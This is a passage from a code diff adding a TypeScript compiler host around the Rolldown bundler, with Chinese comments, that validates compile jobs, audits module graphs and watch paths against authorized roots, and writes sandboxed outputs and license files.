ManagedAuditScopes, +} from './managed-auditor.js'; +import { loadManagedEngine, type EngineInputOptions, type EngineOutputOptions, type ManagedEngine } from './engine-loader.js'; +import { + assertStableId, + dataProperties, + prepareCompileSources, + resolveCompileSources, + type NormalizedEntry, + type VirtualSource, +} from './job-normalizer.js'; +import { managedSourceBoundaryPlugin, type ManagedPackageScope } from './managed-boundary.js'; +import { normalizeManagedInput, normalizeManagedOutput } from './managed-options.js'; +import type { NormalizedManagedInput, NormalizedManagedOutput } from './managed-options.js'; +import { auditPortableOutput, mergePortableModuleReports } from './portable-auditor.js'; +import { collectCompilerLicenses, type CompilerLicenseResult } from './license-pipeline.js'; +import { normalizePortableOptions, type NormalizedPortableOptions } from './portable-options.js'; +import { + assertPortableEntryExtension, + normalizeNodeBuiltin, + portableNodePolicyPlugin, +} from './portable-policy.js'; + +/** 单个 Compiler Host 使用的 Session registries。 */ +export interface CompilerHostOptions { + readonly projectRoot: string; + readonly sources: SourceRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly assets: AssetRegistry; + readonly watch: WatchRegistry; +} + +/** 快照并授权后的 managed job。 */ +interface NormalizedManagedJob { + readonly id: string; + readonly entries: readonly NormalizedEntry[]; + readonly virtualSources: ReadonlyMap; + readonly sourceRoots: readonly string[]; + readonly input: NormalizedManagedInput; + readonly outputs: readonly { readonly id: string; readonly output: NormalizedManagedOutput }[]; + readonly policy?: ManagedRolldownCompileOptions['policy']; +} + +/** 快照并授权后的 portable-node job。 */ +interface NormalizedPortableJob { + readonly id: string; + readonly entries: readonly NormalizedEntry[]; + readonly virtualSources: ReadonlyMap; + readonly sourceRoots: readonly string[]; + readonly options: NormalizedPortableOptions; +} + +/** + * 建立 Core 自有的虚拟 entry/module Plugin。 + * + * @param sources 原生虚拟 ID 到代码的快照。 + * @returns 只处理当前 Job 精确虚拟 ID 的 Plugin。 + */ +function virtualSourcePlugin(sources: ReadonlyMap): ManagedRolldownPlugin { + return Object.freeze({ + name: 'acplugin-virtual-sources', + /** 解析当前 Job 的虚拟 ID 和虚拟 entry 相对导入。 */ + resolveId(source, importer) { + /** 公开 specifier 与内部 NUL ID 都只能命中已快照集合。 */ + if (sources.has(source)) + return source; + /** 公开 specifier 对应的 Core 内部 NUL ID。 */ + const internal = `\0acplugin:module:${source}`; + if (sources.has(internal)) + return internal; + /** importer 对应的虚拟源快照。 */ + const record = importer === undefined ? undefined : sources.get(importer); + if (record?.resolveFrom !== undefined && (source.startsWith('./') || source.startsWith('../'))) + return this.resolve(source, path.join(record.resolveFrom, '__acplugin_entry__.mjs'), { skipSelf: true }); + return null; + }, + /** 为字符串动态 import 提供与静态 import 一致的解析。 */ + resolveDynamicImport(source, importer) { + /** 字符串动态 import 与静态 import 使用相同虚拟解析规则。 */ + if (typeof source !== 'string') + return null; + /** 动态 importer 对应的虚拟源快照。 */ + const record = importer === undefined ? undefined : sources.get(importer); + return record?.resolveFrom !== undefined && (source.startsWith('./') || source.startsWith('../')) + ? path.resolve(record.resolveFrom, source) + : null; + }, + /** 返回当前 Job 已快照的虚拟源码。 */ + load(id) { + return sources.get(id)?.code ?? null; + }, + }); +} + +/** + * 建立最终模块图采样 Plugin。 + * + * 该 Plugin 可被 trusted Plugin 干扰,因此它只提供数据;Host 在 + * generate() 返回后独立验证图完整性与所有安全不变量。 + * + * @param graph 当前 output 的原始模块图容器。 + * @returns 最后一个 generateBundle 采样器。 + */ +function moduleGraphPlugin(graph: Map): ManagedRolldownPlugin { + return Object.freeze({ + name: 'acplugin-module-graph-audit', + generateBundle: { + order: 'post' as const, + /** 在当次 output 所有 Plugin 完成后采样最终模块图。 */ + handler(_options, outputBundle) { + graph.clear(); + /** 只读取 ModuleInfo 的四个审计数组,避免触发 ast 等不支持 getter。 */ + const capture = (id: string): void => { + /** 当前 ID 对应的 Rolldown 模块信息。 */ + const info = this.getModuleInfo(id); + if (info !== null) { + graph.set(id, Object.freeze({ + importedIds: Object.freeze([...info.importedIds]), + dynamicallyImportedIds: Object.freeze([...info.dynamicallyImportedIds]), + importers: Object.freeze([...info.importers]), + dynamicImporters: Object.freeze([...info.dynamicImporters]), + })); + } + }; + for (const id of this.getModuleIds()) { + capture(id); + } + /** Rolldown output 有时保留与 getModuleIds() 不同的规范 ID,两者必须同时采样。 */ + for (const item of Object.values(outputBundle)) { + if (item.type === 'chunk') { + for (const id of [...item.moduleIds, ...Object.keys(item.modules)]) + capture(id); + } + } + }, + }, + }); +} + +/** + * 把 Rolldown watch file 限制在已审计模块或 owner workDir。 + * + * @param file Rolldown/Plugin 登记的物理路径。 + * @param modules 已通过最终边界审计的模块。 + * @param scopes 当前 owner 授权根。 + * @returns 可交给唯一 DevSession watcher 的规范路径。 + */ +async function auditedWatchFile( + file: string, + modules: readonly AuditedModule[], + scopes: ManagedAuditScopes, +): Promise { + if (typeof file !== 'string' || file.includes('\0') || !path.isAbsolute(file)) + throw new Error('Managed Rolldown watch files must be absolute physical paths.'); + /** existing 使用 realpath;missing 通过最深已存在祖先进入相同真实路径基准。 */ + const existing = await fs.realpath(file).catch(() => undefined); + /** 尚未创建部分从目标向已存在祖先反向积累。 */ + const suffix: string[] = []; + /** missing watch 候选的当前祖先。 */ + let ancestor = path.normalize(file); + while (existing === undefined && !await fs.lstat(ancestor).then(() => true).catch(() => false)) { + /** 当前祖先的父目录用于检测文件系统根并继续向上。 */ + const parent = path.dirname(ancestor); + if (parent === ancestor) + throw new Error('Managed Rolldown watch file has no existing ancestor.'); + suffix.push(path.basename(ancestor)); + ancestor = parent; + } + /** 已存在祖先本身不能是 symlink/special file。 */ + const ancestorStat = existing === undefined ? await fs.lstat(ancestor) : undefined; + if (ancestorStat !== undefined && (ancestorStat.isSymbolicLink() || !ancestorStat.isDirectory())) + throw new Error('Managed Rolldown watch file must have a regular directory ancestor.'); + /** canonical missing path 保留尚不存在的最终 segment。 */ + const normalized = existing ?? path.join(await fs.realpath(ancestor), ...suffix.reverse()); + /** missing watch file 只能位于 source root;workDir 不作为作者恢复入口。 */ + const pending = existing === undefined; + /** 最终模块图中的全部物理文件。 */ + const moduleFiles = new Set(modules + .map(module => module.physicalId.replace(/\?.*$/u, '')) + .filter(id => path.isAbsolute(id)) + .map(id => path.normalize(id))); + /** 当前观察是否位于 owner 已授权的源码根。 */ + const inSource = scopes.sourceRoots.some(root => isInsidePath(root, normalized)); + /** pending 只能位于 source;existing 还可属于最终 module graph 或 owner workDir。 */ + const inWork = isInsidePath(scopes.workRoot, normalized); + if (!moduleFiles.has(normalized) && !inSource && (pending || !inWork)) { + throw new Error('Managed Rolldown registered a watch file outside its authorized module graph.'); + } + return Object.freeze({ path: normalized, type: 'file' as const, ...(pending ? { pending: true } : {}) }); +} + +/** Core 唯一的、可为多 owner 签发 service 的 Compiler Host。 */ +export class CompilerHost { + /** 工程绝对根,用于 Rolldown cwd 和报告路径。 */ + readonly #projectRoot: string; + /** SourceRef 对象 identity 授权注册表。 */ + readonly #sources: SourceRegistry; + /** owner workDir 对象 identity 授权注册表。 */ + readonly #workDirectories: WorkDirectoryRegistry; + /** GeneratedAssetRef 唯一签发注册表。 */ + readonly #assets: AssetRegistry; + /** BuildSession 唯一 Watch Registry。 */ + readonly #watch: WatchRegistry; + /** 进程内精确 Rolldown 驱动的延迟加载结果。 */ + readonly #engine: Promise; + /** owner 内已消费 job ID,防止 workDir 结果被重用。 */ + readonly #jobs = new Map>(); + + /** + * 创建一个 BuildSession 唯一 Compiler Host。 + * + * @param options 当前 Session 的 capability registries 与 Watch 出口。 + */ + constructor(options: CompilerHostOptions) { + this.#projectRoot = path.resolve(options.projectRoot); + this.#sources = options.sources; + this.#workDirectories = options.workDirectories; + this.#assets = options.assets; + this.#watch = options.watch; + this.#engine = loadManagedEngine(); + } + + /** + * 为一个 Integration/Framework owner 创建闭包绑定的 CompilerService。 + * + * @param owner Kernel 固定的 owner ID。 + * @returns 不接受调用方自报 owner 的 SDK service。 + */ + async service(owner: string): Promise { + if (typeof owner !== 'string' || owner.length === 0) + throw new TypeError('Compiler owner must be a non-empty string.'); + /** 当前安装的精确 Rolldown 驱动。 */ + const engine = await this.#engine; + /** engine 信息和 compile 闭包不暴露 Host 或 registries。 */ + return Object.freeze({ + engine: Object.freeze({ name: engine.name, version: engine.version }), + /** 编译请求自动绑定当前 owner。 */ + compile:

(job: CompileJob

) => this.#compile(owner, engine, job), + }); + } + + /** + * 快照并授权 managed Job 全部来源。 + * + * @param owner 当前 service owner。 + * @param job 调用方 Job。 + * @returns 已与调用方容器解除引用的内部请求。 + */ + async #normalizeManaged(owner: string, job: CompileJob<'managed-rolldown'>): Promise { + /** Job 公共来源在任何异步 Plugin/I/O 之前完成容器快照。 */ + const pending = prepareCompileSources(owner, 'managed-rolldown', job, this.#sources); + /** managed Profile 的原始 options 容器。 */ + const options = pending.options; + /** managed options 的全部 data property。 */ + const optionDescriptors = dataProperties(options, 'Managed compile options'); + for (const field of Object.keys(optionDescriptors)) { + if (!new Set(['inputOptions', 'outputs', 'policy']).has(field)) + throw new TypeError(`Managed compile options.${field} is unknown.`); + } + if (!Array.isArray(optionDescriptors.outputs?.value) || optionDescriptors.outputs.value.length === 0) + throw new TypeError('Managed compile options.outputs must be a non-empty array.'); + /** output 数组在任何 Plugin Promise await 前复制当前元素。 */ + const rawOutputs = [...optionDescriptors.outputs.value] as unknown[]; + /** 当前 Job 已声明的唯一 output ID。 */ + const outputIds = new Set(); + /** input 参数在任何 Plugin Promise 解析前同步建立容器快照。 */ + const inputPromise = normalizeManagedInput(optionDescriptors.inputOptions?.value); + /** 后续同步字段验证失败时也必须立即观察 Plugin Promise rejection。 */ + void inputPromise.catch(() => undefined); + /** 所有 output 先同步读取 descriptor,不让前一个 Promise 打开 mutation 窗口。 */ + const outputPromises = rawOutputs.map((rawOutput, index) => { + /** 当前 output 的全部 data property。 */ + const output = dataProperties(rawOutput, `Managed output[${index}]`); + for (const field of Object.keys(output)) { + if (field !== 'id' && field !== 'options') + throw new TypeError(`Managed output[${index}].${field} is unknown.`); + } + assertStableId(output.id?.value, 'Managed output id'); + /** 经过 ID assertion 后固定当前输出身份。 */ + const outputId = output.id.value; + if (outputIds.has(outputId)) + throw new TypeError(`Managed output id "${outputId}" is duplicated.`); + outputIds.add(outputId); + /** 当前 output 的异步 Plugin 解析与结构快照。 */ + const outputPromise = normalizeManagedOutput(output.options?.value, `Managed output "${outputId}" options`).then(normalized => Object.freeze({ + id: outputId, + output: normalized, + })); + /** 任何后续 output/policy 同步失败都不能留下未观察 rejection。 */ + void outputPromise.catch(() => undefined); + return outputPromise; + }); + /** 调用方提供的原始审计策略。 */ + const rawPolicy = optionDescriptors.policy?.value; + /** policy 是小型数据对象,逐字段复制并校验。 */ + let policy: ManagedRolldownCompileOptions['policy']; + if (rawPolicy !== undefined) { + /** 审计策略的全部 data property。 */ + const values = dataProperties(rawPolicy, 'Managed compile policy'); + /** 当前 managed Profile 已定义的策略字段。 */ + const allowed = new Set(['deterministic', 'licenses', 'nativeAddons', 'unresolvedImports']); + for (const field of Object.keys(values)) { + if (!allowed.has(field)) + throw new TypeError(`Managed compile policy.${field} is unknown.`); + } + if (values.deterministic !== undefined && typeof values.deterministic.value !== 'boolean') + throw new TypeError('Managed compile policy.deterministic must be boolean.'); + if (values.licenses !== undefined && values.licenses.value !== 'strict' && values.licenses.value !== 'ignore') + throw new TypeError('Managed compile policy.licenses must be strict or ignore.'); + if (values.nativeAddons !== undefined && values.nativeAddons.value !== 'reject' && values.nativeAddons.value !== 'allow') + throw new TypeError('Managed compile policy.nativeAddons must be reject or allow.'); + if (values.unresolvedImports !== undefined && values.unresolvedImports.value !== 'reject' && values.unresolvedImports.value !== 'allow') + throw new TypeError('Managed compile policy.unresolvedImports must be reject or allow.'); + policy = Object.freeze({ + ...(values.deterministic === undefined ? {} : { deterministic: values.deterministic.value as boolean }), + ...(values.licenses === undefined ? {} : { licenses: values.licenses.value as 'strict' | 'ignore' }), + ...(values.nativeAddons === undefined ? {} : { nativeAddons: values.nativeAddons.value as 'reject' | 'allow' }), + ...(values.unresolvedImports === undefined ? {} : { unresolvedImports: values.unresolvedImports.value as 'reject' | 'allow' }), + }); + } + /** 到此才执行来源树 I/O;调用方容器已完全断开。 */ + const normalizedSources = await resolveCompileSources(owner, pending, this.#sources); + /** Plugin Promise 已解析且结构快照完成的 input options。 */ + const normalizedInput = await inputPromise; + /** managed tsconfig 只接受当前 owner/Session 的精确 SourceFileRef。 */ + let tsconfig: string | false = false; + if (normalizedInput.tsconfig !== undefined && normalizedInput.tsconfig !== false) { + /** SourceRegistry 授权并复核后的 tsconfig 文件记录。 */ + const record = await this.#sources.validatedFile(owner, normalizedInput.tsconfig); + tsconfig = await fs.realpath(record.physicalPath); + } + return Object.freeze({ + id: normalizedSources.id, + entries: normalizedSources.entries, + virtualSources: normalizedSources.virtualSources, + sourceRoots: normalizedSources.sourceRoots, + input: Object.freeze({ + ...normalizedInput, + options: Object.freeze({ ...normalizedInput.options, tsconfig }), + }), + outputs: Object.freeze(await Promise.all(outputPromises)), + ...(policy === undefined ? {} : { policy }), + }); + } + + /** + * 快照并授权 portable-node Job 全部来源和 JSON options。 + * + * @param owner 当前 service owner。 + * @param job 调用方 portable Job。 + * @returns 固定 Node contract 可直接执行的内部请求。 + */ + async #normalizePortable(owner: string, job: CompileJob<'portable-node'>): Promise { + /** 来源和 options 都在第一个 I/O 前完成同步容器快照。 */ + const pending = prepareCompileSources(owner, 'portable-node', job, this.#sources); + /** portable JSON subset 的运行时快照。 */ + const options = normalizePortableOptions(pending.options); + /** 已通过作者树和 SourceRef 复核的物理来源。 */ + const sources = await resolveCompileSources(owner, pending, this.#sources); + for (const entry of sources.entries) + assertPortableEntryExtension(entry.inputId); + return Object.freeze({ ...sources, options }); + } + + /** + * 消费 owner 内唯一 Job ID。 + * + * @param owner 当前 service owner。 + * @param id 已规范化 stable Job ID。 + */ + #consumeJob(owner: string, id: string): void { + /** owner 间相同 ID 不冲突,同 owner 当次 Session 不能覆盖既有 work 输出。 */ + const jobs = this.#jobs.get(owner) ?? new Set(); + if (jobs.has(id)) + throw new Error(`Compile job id "${id}" was already used by this owner.`); + jobs.add(id); + this.#jobs.set(owner, jobs); + } + + /** + * 执行 owner-scoped Compiler Job。 + * + * @param owner 当前 service owner。 + * @param engine 已加载精确 Rolldown 驱动。 + * @param job SDK Job。 + * @returns 仅包含 GeneratedAssetRef 与脱敏模块图的结果。 + */ + async #compile

( + owner: string, + engine: ManagedEngine, + job: CompileJob

, + ): Promise> { + if (job.profile === 'portable-node') + return this.#compilePortable(owner, engine, job as CompileJob<'portable-node'>) as Promise>; + if (job.profile !== 'managed-rolldown') + throw new Error('Compile profile is not supported by this Core version.'); + /** 与调用方容器隔离且完成来源授权的 Job。 */ + const normalized = await this.#normalizeManaged(owner, job as CompileJob<'managed-rolldown'>); + /** job ID 在开始任何引擎工作前一次性消费。 */ + this.#consumeJob(owner, normalized.id); + /** 当前 owner 的唯一 workDir 句柄。 */ + const workDirectory = await this.#workDirectories.directory(owner); + /** 仅 Core 可见的 owner 物理工作根。 */ + const workRoot = this.#workDirectories.physicalRoot(owner, workDirectory); + /** 只有 source boundary resolver 证明的 package 才可通过最终审计。 */ + const packages = new Map(); + /** 最终 resolver/module/output/watch 共用的审计边界。 */ + const scopes = Object.freeze({ + projectRoot: await fs.realpath(this.#projectRoot), + sourceRoots: normalized.sourceRoots, + workRoot, + packages, + }); + /** Core 从 entry ID 独立建立 Rolldown 命名 input。 */ + const input = Object.freeze(Object.fromEntries(normalized.entries.map(entry => [entry.id, entry.inputId]))); + /** 已展平并快照的 trusted input Plugin。 */ + const userPlugins = normalized.input.plugins; + /** Core 重建入口、cwd、日志和 watch 边界的最终 input options。 */ + const inputOptions = Object.freeze({ + ...normalized.input.options, + input, + cwd: this.#projectRoot, + logLevel: 'silent' as const, + watch: false, + plugins: [ + managedSourceBoundaryPlugin({ sourceRoots: normalized.sourceRoots, workRoot, packages }), + ...userPlugins, + virtualSourcePlugin(normalized.virtualSources), + ], + }); + /** create 成功后无论 generate/audit/sign 如何失败都必须 close。 */ + let bundle: Awaited> | undefined; + try { + bundle = await engine.create(inputOptions); + /** 多 output 按声明顺序依次调用同一 build object generate()。 */ + const outputs: CompileOutputFile[] = []; + /** 第一个 output 确定且后续 output 必须一致的模块报告。 */ + let moduleReports: ReturnType | undefined; + /** 同一 managed Job 全部 output 的最终 watch observations。 */ + const watchObservations = new Map(); + /** 所有签发 Asset 共享最终完整模块来源。 */ + let originInputs: readonly string[] = []; + for (const output of normalized.outputs) { + /** deterministic 模式必须避免 Rolldown 非 whitespace 输出注入物理 module region。 */ + if (normalized.policy?.deterministic === true && output.output.options.minify === false) + throw new TypeError('Managed deterministic output cannot disable whitespace normalization.'); + /** 未指定 minify 时只规范 whitespace,不压缩表达式或改写名称。 */ + const effectiveOutput = normalized.policy?.deterministic === true && output.output.options.minify === undefined + ? Object.freeze({ ...output.output.options, minify: Object.freeze({ compress: false, mangle: false }) }) + : output.output.options; + /** 每个 output 独立采样当次 generate 的最终图。 */ + const graph = new Map(); + /** Rolldown generate() 返回的原始内存输出。 */ + const raw = await bundle.generate(Object.freeze({ + ...effectiveOutput, + plugins: [ + ...output.output.plugins, + moduleGraphPlugin(graph), + ], + })); + /** 在 Plugin 顺序之外通过的最终模块图。 */ + const modules = await auditManagedModules(graph, scopes); + /** 通过路径、闭包和策略审计的内存输出。 */ + const files = auditManagedOutput(raw, modules, normalized.policy, [ + this.#projectRoot, + scopes.projectRoot, + scopes.workRoot, + ...scopes.sourceRoots, + ...[...scopes.packages.values()].map(dependency => dependency.root), + ]); + /** managed 默认 strict;显式 ignore 才由可信集成自行承担法律材料。 */ + const licenses: CompilerLicenseResult = normalized.policy?.licenses === 'ignore' + ? Object.freeze({ inputs: Object.freeze([] as string[]), watchFiles: Object.freeze([] as string[]) }) + : await collectCompilerLicenses(modules, packages); + if (licenses.bytes !== undefined && files.some(file => file.fileName === 'THIRD_PARTY_LICENSES.txt')) + throw new Error('Managed Rolldown output conflicts with Core license material.'); + if (moduleReports === undefined) { + moduleReports = managedModuleReports(modules); + originInputs = Object.freeze(moduleReports.map(module => module.id).sort(compareCodePoints)); + } else if (JSON.stringify(moduleReports) !== JSON.stringify(managedModuleReports(modules))) { + throw new Error('Managed Rolldown multi-output builds must expose one stable module graph.'); + } + for (const file of files) { + /** output ID 与 fileName 分层写入 owner workDir,不会碰触 dist。 */ + const relative = safeRelativePath(`compile/${normalized.id}/${output.id}/${file.fileName}`); + /** owner workDir 内的唯一物理输出路径。 */ + const physical = this.#workDirectories.resolve(owner, workDirectory, relative); + await fs.mkdir(path.dirname(physical), { recursive: true, mode: 0o700 }); + await fs.writeFile(physical, file.bytes, { flag: 'wx', mode: 0o600 }); + /** 用于继承 mode 的入口声明。 */ + const entry = file.entryId === undefined + ? undefined + : normalized.entries.find(candidate => candidate.id === file.entryId); + /** 经 Asset Registry 签发的不可伪造输出 ref。 */ + const asset = await this.#assets.issueGenerated( + owner, + workDirectory, + relative, + entry?.mode ?? 0o644, + { job: normalized.id, output: output.id, profile: 'managed-rolldown', kind: file.type, inputs: originInputs }, + ); + outputs.push(Object.freeze({ + type: file.type, + outputId: output.id, + fileName: file.fileName, + ...(file.entryId === undefined ? {} : { entryId: file.entryId }), + isEntry: file.isEntry, + asset, + })); + } + if (licenses.bytes !== undefined) { + /** 当前 managed output 相邻的固定法律材料路径。 */ + const relative = safeRelativePath(`compile/${normalized.id}/${output.id}/THIRD_PARTY_LICENSES.txt`); + /** 法律材料只写当前 owner workDir。 */ + const physical = this.#workDirectories.resolve(owner, workDirectory, relative); + await fs.writeFile(physical, licenses.bytes, { flag: 'wx', mode: 0o600 }); + /** managed 法律材料也保留完整 compile provenance。 */ + const asset = await this.#assets.issueGenerated( + owner, + workDirectory, + relative, + 0o644, + { job: normalized.id, output: output.id, profile: 'managed-rolldown', kind: 'licenses', inputs: [...originInputs, ...licenses.inputs] }, + ); + outputs.push(Object.freeze({ + type: 'licenses' as const, + outputId: output.id, + fileName: 'THIRD_PARTY_LICENSES.txt', + isEntry: false, + asset, + })); + } + /** 最终模块图中的 package 文件保留逻辑 watch identity。 */ + for (const observation of managedModuleWatchObservations(modules)) + watchObservations.set(observation.path, observation); + /** Plugin/Rolldown watchFiles 必须位于已授权图边界。 */ + for (const file of (await bundle.watchFiles).sort(compareCodePoints)) { + /** 当前 Plugin watch file 的授权后真实路径。 */ + const audited = await auditedWatchFile(file, modules, scopes); + watchObservations.set(audited.path, watchObservations.get(audited.path) ?? audited); + } + /** package manifest/legal 使用安全 package identity。 */ + for (const file of licenses.watchFiles) { + /** 当前法律文件所属的 resolver-proven package。 */ + const dependency = [...packages.values()].find(candidate => isInsidePath(candidate.root, file)); + watchObservations.set(file, Object.freeze({ + path: file, + type: 'file' as const, + ...(dependency === undefined ? {} : { identity: `package:${dependency.name}@${dependency.version}/${path.basename(file)}` }), + })); + } + } + await this.#watch.replace(owner, `compiler/${normalized.id}`, [...watchObservations.values()]); + return Object.freeze({ + job: normalized.id, + profile: 'managed-rolldown', + engine: Object.freeze({ name: engine.name, version: engine.version }), + outputs: Object.freeze(outputs), + modules: moduleReports ?? Object.freeze([]), + }) as CompileResult

; + } finally { + await bundle?.close(); + } + } + + /** + * 使用固定 Node 20 ESM policy 为每个入口生成独立 self-contained Bundle。 + * + * @param owner 当前 service owner。 + * @param engine Core 唯一 Rolldown driver。 + * @param job portable-node Job。 + * @returns main/license GeneratedAssetRef 与合并后的安全模块图。 + */ + async #compilePortable( + owner: string, + engine: ManagedEngine, + job: CompileJob<'portable-node'>, + ): Promise> { + /** 完成全部 Ref/options 授权后才消费 Job ID。 */ + const normalized = await this.#normalizePortable(owner, job); + this.#consumeJob(owner, normalized.id); + /** 当前 owner 的唯一 workDir 与内部物理根。 */ + const workDirectory = await this.#workDirectories.directory(owner); + /** 只有 Host 可见的 owner workDir 根。 */ + const workRoot = this.#workDirectories.physicalRoot(owner, workDirectory); + /** 用于来源报告和路径泄露审计的工程真实根。 */ + const projectRoot = await fs.realpath(this.#projectRoot); + /** 多入口结果按稳定 entry ID 顺序生成和返回。 */ + const outputs: CompileOutputFile[] = []; + /** 各独立入口的脱敏模块报告。 */ + const reports: ReturnType[] = []; + /** 整个 portable Job 的统一 watch observation snapshot。 */ + const watchObservations = new Map(); + for (const entry of normalized.entries) { + /** 每个入口独立证明实际打包 package graph,不共享 Chunk 或 license 集合。 */ + const packages = new Map(); + /** 当前 entry 的完整最终审计边界。 */ + const scopes = Object.freeze({ projectRoot, sourceRoots: normalized.sourceRoots, workRoot, packages }); + /** Core policy Plugin 不由调用方提供或排序。 */ + const graph = new Map(); + /** readonly SDK options 在 Core 边界转换为 Rolldown 当前需要的 mutable array copies。 */ + const resolve = normalized.options.resolve === undefined + ? undefined + : { + ...(normalized.options.resolve.conditionNames === undefined ? {} : { conditionNames: [...normalized.options.resolve.conditionNames] }), + ...(normalized.options.resolve.extensions === undefined ? {} : { extensions: [...normalized.options.resolve.extensions] }), + ...(normalized.options.resolve.mainFields === undefined ? {} : { mainFields: [...normalized.options.resolve.mainFields] }), + ...(normalized.options.resolve.mainFiles === undefined ? {} : { mainFiles: [...normalized.options.resolve.mainFiles] }), + }; + /** transform 同样只复制 portable subset,不允许 Core-owned 字段混入。 */ + const transform = normalized.options.transform === undefined + ? { target: 'node20' } + : { + ...(normalized.options.transform.define === undefined ? {} : { define: { ...normalized.options.transform.define } }), + ...(normalized.options.transform.dropLabels === undefined ? {} : { dropLabels: [...normalized.options.transform.dropLabels] }), + ...(normalized.options.transform.jsx === undefined ? {} : { jsx: normalized.options.transform.jsx }), + target: 'node20', + }; + /** Core 完整重建且不接受调用方 Plugin 的固定 input options。 */ + const inputOptions: EngineInputOptions = { + input: Object.freeze({ [entry.id]: entry.inputId }), + cwd: this.#projectRoot, + platform: 'node' as const, + tsconfig: false, + logLevel: 'silent' as const, + watch: false, + /** 只有已经规范化的 node: builtin 可以保持 external。 */ + external: (id: string) => id.startsWith('node:') && normalizeNodeBuiltin(id) === id, + ...(resolve === undefined ? {} : { resolve }), + treeshake: normalized.options.treeshake ?? true, + transform, + plugins: [ + managedSourceBoundaryPlugin({ sourceRoots: normalized.sourceRoots, workRoot, packages }), + portableNodePolicyPlugin(engine), + virtualSourcePlugin(normalized.virtualSources), + ], + }; + /** 单入口 create/generate/close 完全由 Core 接管。 */ + let bundle: Awaited> | undefined; + try { + bundle = await engine.create(inputOptions); + /** portable 唯一 output 参数完全由 Core 固定。 */ + const outputOptions: EngineOutputOptions = { + format: 'es' as const, + entryFileNames: 'main.mjs', + chunkFileNames: 'main.mjs', + assetFileNames: 'asset', + sourcemap: false, + codeSplitting: false, + comments: { legal: true }, + /** Rolldown 1.2.2 的非 whitespace 模式会注入绝对 module region;固定压缩空白但不改名/压缩表达式。 */ + minify: { compress: false, mangle: false }, + plugins: [moduleGraphPlugin(graph)], + }; + /** Rolldown generate-only 的原始内存输出。 */ + const raw = await bundle.generate(outputOptions); + /** 最终模块图、输出闭包和物理路径都在 Plugin 链外复核。 */ + const modules = await auditManagedModules(graph, scopes); + /** 固定单 Chunk 以及 residual/path policy 审计结果。 */ + const audited = auditPortableOutput(raw, entry.id, modules, [ + projectRoot, + workRoot, + ...normalized.sourceRoots, + ...[...packages.values()].map(dependency => dependency.root), + ]); + /** 当前 entry 的安全公开模块报告。 */ + const report = managedModuleReports(audited.modules); + reports.push(report); + /** main/license GeneratedAsset origin 使用的逻辑来源。 */ + const originInputs = report.map(module => module.id).sort(compareCodePoints); + /** main.mjs 只能落入当前 owner workDir。 */ + const mainRelative = safeRelativePath(`compile/${normalized.id}/${entry.id}/main.mjs`); + /** main.mjs 在 owner workDir 中的私有物理路径。 */ + const mainPhysical = this.#workDirectories.resolve(owner, workDirectory, mainRelative); + await fs.mkdir(path.dirname(mainPhysical), { recursive: true, mode: 0o700 }); + await fs.writeFile(mainPhysical, audited.bytes, { flag: 'wx', mode: 0o600 }); + /** 主 bundle 的不可伪造 GeneratedAssetRef。 */ + const mainAsset = await this.#assets.issueGenerated( + owner, + workDirectory, + mainRelative, + entry.mode, + { job: normalized.id, output: entry.id, profile: 'portable-node', kind: 'chunk', inputs: originInputs }, + ); + outputs.push(Object.freeze({ + type: 'chunk' as const, + outputId: entry.id, + fileName: 'main.mjs', + entryId: entry.id, + isEntry: true, + asset: mainAsset, + })); + /** 实际进入当前独立 bundle 的第三方包才生成相邻法律材料。 */ + const licenses = await collectCompilerLicenses(audited.modules, packages); + if (licenses.bytes !== undefined) { + /** 与 entry 相邻的稳定法律材料 workDir 路径。 */ + const licenseRelative = safeRelativePath(`compile/${normalized.id}/${entry.id}/THIRD_PARTY_LICENSES.txt`); + /** 法律材料在 owner workDir 中的私有物理路径。 */ + const licensePhysical = this.#workDirectories.resolve(owner, workDirectory, licenseRelative); + await fs.writeFile(licensePhysical, licenses.bytes, { flag: 'wx', mode: 0o600 }); + /** 法律材料自身的 GeneratedAssetRef。 */ + const licenseAsset = await this.#assets.issueGenerated( + owner, + workDirectory, + licenseRelative, + 0o644, + { job: normalized.id, output: entry.id, profile: 'portable-node', kind: 'licenses', inputs: [...originInputs, ...licenses.inputs] }, + ); + outputs.push(Object.freeze({ + type: 'licenses' as const, + outputId: entry.id, + fileName: 'THIRD_PARTY_LICENSES.txt', + entryId: entry.id, + isEntry: false, + asset: licenseAsset, + })); + } + /** 实际模块、manifest 与法律文件进入同一内部 Watch Registry。 */ + for (const observation of managedModuleWatchObservations(audited.modules)) + watchObservations.set(observation.path, observation); + for (const file of await bundle.watchFiles) { + /** 当前 Rolldown watch file 的授权后真实路径。 */ + const watched = await auditedWatchFile(file, audited.modules, scopes); + watchObservations.set(watched.path, watchObservations.get(watched.path) ?? watched); + } + for (const file of licenses.watchFiles) { + /** 当前法律文件所属的 resolver-proven package。 */ + const dependency = [...packages.values()].find(candidate => isInsidePath(candidate.root, file)); + watchObservations.set(file, Object.freeze({ + path: file, + type: 'file' as const, + ...(dependency === undefined ? {} : { identity: `package:${dependency.name}@${dependency.version}/${path.basename(file)}` }), + })); + } + } finally { + await bundle?.close(); + } + } + await this.#watch.replace(owner, `compiler/${normalized.id}`, [...watchObservations.values()]); + return Object.freeze({ + job: normalized.id, + profile: 'portable-node', + engine: Object.freeze({ name: engine.name, version: engine.version }), + outputs: Object.freeze(outputs), + modules: mergePortableModuleReports(reports), + }); + } +} diff --git a/packages/core/src/compiler/engine-loader.ts b/packages/core/src/compiler/engine-loader.ts new file mode 100644 index 0000000..7887c6a --- /dev/null +++ b/packages/core/src/compiler/engine-loader.ts @@ -0,0 +1,77 @@ +import type { + InputOptions, + OutputOptions, + Plugin, + RolldownBuild, + RolldownOutput, +} from 'rolldown'; + +/** SDK 从当前精确 Rolldown 依赖派生的输入参数。 */ +export type EngineInputOptions = InputOptions; + +/** SDK 从当前精确 Rolldown 依赖派生的输出参数。 */ +export type EngineOutputOptions = OutputOptions; + +/** SDK 从当前精确 Rolldown 依赖派生的 Plugin 结构。 */ +export type EnginePlugin = Plugin; + +/** Compiler Host 审计与签发使用的内存输出。 */ +export type EngineOutput = RolldownOutput; + +/** Compiler Host 唯一允许调用的 Rolldown bundle 能力。 */ +export interface ManagedEngineBuild { + /** 使用精确 Rolldown output options 生成内存产物。 */ + generate(options: OutputOptions): Promise; + /** 关闭当前原生 bundle 及 Plugin close lifecycle。 */ + close(): Promise; + readonly watchFiles: Promise; +} + +/** 动态加载后的精确 Rolldown 驱动器。 */ +export interface ManagedEngine { + readonly name: 'rolldown'; + readonly version: string; + /** 仅通过 rolldown() 创建一个受管 bundle。 */ 